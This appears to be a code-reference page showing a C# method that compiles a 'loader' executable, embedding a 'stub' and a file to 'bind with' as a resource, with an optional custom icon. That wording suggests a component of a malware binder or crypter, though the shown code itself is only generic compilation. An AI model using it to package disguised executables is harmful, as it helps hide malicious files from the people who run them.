Aries.CodeDOMCompiler.Compile C# (CSharp) Method

Compile() public static method

Use the C# Compiler to compile the resource 'LDRsource'. LDRsource used as a loader to run the stub
public static Compile ( string InputSource, string OutputPE, string ResourceFile, bool icon ) : void
InputSource string The C# source to be compiled (LDRsource)
OutputPE string File to save as
ResourceFile string The stub + file to bind with, added as a resource to the loader
icon bool Choose whether to compile it with a custom icon (icon.ico)
return void
        public static void Compile(string InputSource, string OutputPE, string ResourceFile, bool icon)
        {
            try
            {
                CodeDomProvider icc = new CSharpCodeProvider();
                CompilerParameters parameters = new CompilerParameters();
                parameters.GenerateExecutable = true;
                parameters.OutputAssembly = OutputPE;
                parameters.WarningLevel = 4;

                //Compiling parameters
                parameters.ReferencedAssemblies.Add("System.dll");
                parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
                parameters.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");

                if (icon)
                {
                    parameters.CompilerOptions = "/filealign:0x00000200 /optimize+ /platform:anycpu /debug-" +
                        " /target:winexe /win32icon:icon.ico /res:\"" + ResourceFile + "\"";
                }
                else
                {
                    parameters.CompilerOptions = "/filealign:0x00000200 /optimize+ /platform:anycpu /debug-" +
                        " /target:winexe /res:\"" + ResourceFile + "\"";
                }

                //Compiler results
                CompilerResults results = icc.CompileAssemblyFromSource(parameters, InputSource);
                //Check if any errors
                if (results.Errors.Count > 0)
                {
                    foreach (CompilerError CompErr in results.Errors)
                    {
                        MessageBox.Show("Line number: " + CompErr.Line + ", Error Number: " +
                            CompErr.ErrorNumber + ", '" + CompErr.ErrorText + ";",
                            "Error while compiling", MessageBoxButtons.OK);
                    }
                    MessageBox.Show("Error Compiling!");
                    System.Threading.Thread.CurrentThread.Abort();
                }
            }
            catch (Exception)
            {
                System.Threading.Thread.CurrentThread.Abort();
            }
        }